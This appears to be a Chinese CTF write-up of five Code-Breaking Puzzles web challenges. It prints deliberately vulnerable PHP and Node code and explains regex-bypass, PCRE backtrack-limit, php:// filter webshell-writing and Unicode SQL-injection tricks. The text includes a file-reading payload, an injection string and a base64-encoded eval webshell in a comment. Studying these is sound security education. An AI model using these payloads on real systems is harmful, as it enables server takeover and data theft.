24号被XNUCA虐了,25号起床才知道P总之前说过的Code-Breaking Puzzles已经开始了,赶紧学习一波。这里给P总的代码审计知识星球打个广告,满满干货,个个都是人才,我超喜欢里面的
easy – function
代码:
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
虽然是第一题,但上来还是把我难住了….一开始想不明白如何在数字字母下划线都被禁用的情况下调用函数,苦思无果于是决定寄出fuzz大法:因为正则里用了^$
,那么有没有可能在开头或结尾加入某个字符来绕过正则且函数依然能调用呢?
寄出bp一跑,还真有,好神奇:
这个字符是%5C
,不知道为什么把它加在函数名之前依然不影响正常调用函数。
于是绕过了正则,可以任意函数调用了。我们可以控制函数的第二个参数,有哪个函数第二个参数比较危险呢?经过漫长的查找最终发现:
于是最终payload:
为什么是%5C
?P总给出了答案:
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
easy – pcrewaf
代码:
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
这题让我们上传php,但是用正则限制了php的格式,尝试了许久绕过都无果。
后来看见P总提示说
pcrewaf PHP正则特性
于是在手册里翻来覆去看了好久,无果….
过了一会儿猛然想起@pupiles 师傅在LCTF 2017也出过一个绕过preg_match
的题目,就是利用PHP正则的特性,于是特地翻出了当时的官方WP
WP里如是说:
其实正解是通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
说是preg_match
匹配很长的资源就会超时,后面的语句就不会执行了,乍看起来好像不适合这题的环境…但是决定死马当活马医一下,结果:
居然写进去了…于是愉快的getshell:
做这题的时候我是知其然不知其所以然的,后来P总解答了我们的疑问,产生这个问题的原因其实是PHP的PRCE引擎设置了pcre.backtrack_limit
(回溯限制),当正则匹配的回溯次数达到这个值时就不会再匹配了,所以就没有匹配到最前面的eval
。可以看看下面这篇文章,把这个问题讲得很详细:
文章中说的是非贪婪模式下的回溯问题,而这题的正则是贪婪模式的,为什么还会有这个问题呢?这里就涉及到正则的匹配顺序问题,这道题中的正则匹配我上传的Webshell其实是这么个流程:
- 首先第一个
.*
会走到字符串末尾的AAAA
,然后发现匹配不上,因为后面需要匹配一个[(`;?>]
-
于是就开始回溯,回溯到前面的
AAAA
,发现还是不行 -
直到回溯到
eval
,然后发现匹配上了 -
那么如果A的数量超过
pcre.backtrack_limit
,他一直回溯,超过了这个限制,正则引擎就会报错 -
于是
preg_match
返回FALSE
,绕过了判断
至于为什么在LCTF 2017的那道题里会导致超时而不是被回溯限制约束而匹配失败,大概是因为服务器配置开得比较低,还没有到回溯限制就把服务器资源耗尽了,所以达到了ReDoS
的效果。
easy – phplimit
代码:
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
一眼就认出了这就是RCTF 2018的r-cursive,于是找来了WP一把梭:
好吧,果然不可能这么简单。仔细一看题目环境是nginx
,而getallheaders
函数是apache模块的函数,所以这里不适用。
但是思路应该还是差不多的,只要找一个能代替getallheaders
的函数即可。
翻了一番手册找了个差不多的函数:
这个已定义的变量里就包括了$_GET
、$_POST
等我们可以控制的变量,所以把要执行的代码写在其他的get参数里即可:
在群里看到有一个师傅的另一种payload是
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
很强
easy – phpmagic
关键代码:
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
?>
这题可以看到我们能控制文件名和文件内容,但是文件内容被htmlspecialchars
函数过滤了一次,尖括号没了,所以想直接写一个webshell是不可能的。
想了一会我记起来之前学习phar
协议反序列化时fuzz过一遍PHP函数,发现了PHP的一个特点:只要是传filename的地方,基本都可以传协议流。而file_put_contents
的第一个参数显然就是传filename
的地方,那么试试可不可以利用php伪协议?
It works!
那么思路就很明确了,利用php伪协议流解码base64写入webshell。
现在还有三个问题:
- 后缀名过滤真的很严格
$log_name
之前会加上$_SERVER['SERVER_NAME']
,我们似乎不完全可控文件名- 文件内容我们也不完全可控
问题要一个个解决,第一个问题,我们可以利用这个trick:
只要在后缀名后加上/.
,pathinfo就取不到后缀名,且可以正常写入.php
之中。
第二个问题,我们查看手册:
注意这里的Note
,这个值是可以伪造的。怎么伪造呢?测试了一番发现是取的是HTTP headers中的Host
的值。那么文件名我们也完全可控了。
第三个问题,这里利用一个PHP伪协议base64解码的trick:解码中遇到不符合规范的字符直接跳过。所以虽然我们只能控制一部分内容,但是其他内容并不影响base64解码。另外因为base64解码是4位4位的解的,所以我们要保证我们需要解码的字符串之前的合法字符数为4的倍数,这样就不会影响我们传入的字符串正常解码。看一下我们传入的字符串之前的字符:
符合base64规范的字符是:
ltltgtgtDiG9959deb8u15DebianltltgtgttAq
正好长40位,为4的倍数,所以无需我们给它再填充了。这里还有一点需要注意的是,base64中的=
只能出现在最末尾,而我们插入的字符串是在中间的,所以我们插入的字符串里不能有=
。
综上所述,最终payload为:
easy – nodechr
关键代码:
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
这题一开始思路完全歪了,一直以为问题出在isString
或者match
,查了半天手册…
瞎忙活半天之后,好好整理了下思路,重新看了下,发现了一个很不自然的函数toUpperCase
,把思路聚集在上面之后很快就想起了P总曾经的文章:
文章中说到:
其中混入了两个奇特的字符”ı”、”ſ”。
这两个字符的“大写”是I和S。也就是说”ı”.toUpperCase() == ‘I’,”ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制。
所以最终payload:
username: 0
password: 0' unıon ſelect 1,flag,3 where '1'='1
js对unicode的支持一直有各种各样的问题,大小写转换就是其中的典型之一,我还看过另一个有趣的问题:
师傅,其中easy-phpmagic如果当domain长度恰好为3的倍数,这样就不会多有‘=’,但是这样形式的payload,服务器会直接500,反而是师傅的少了2个’=’更能解析成功。请问当时做题的时候有碰到这样的情况嘛?
500应该是解码后破坏了php的语法规则,你试试这个:PD9waHAgQGV2YWwoJF9SRVFVRVNUWzEyM10pOy8q
师傅,感觉这个create_function()函数根本没用到,那为什么还要用这个函数呢?
用到了啊,就是利用这个函数第二个参数存在问题来RCE的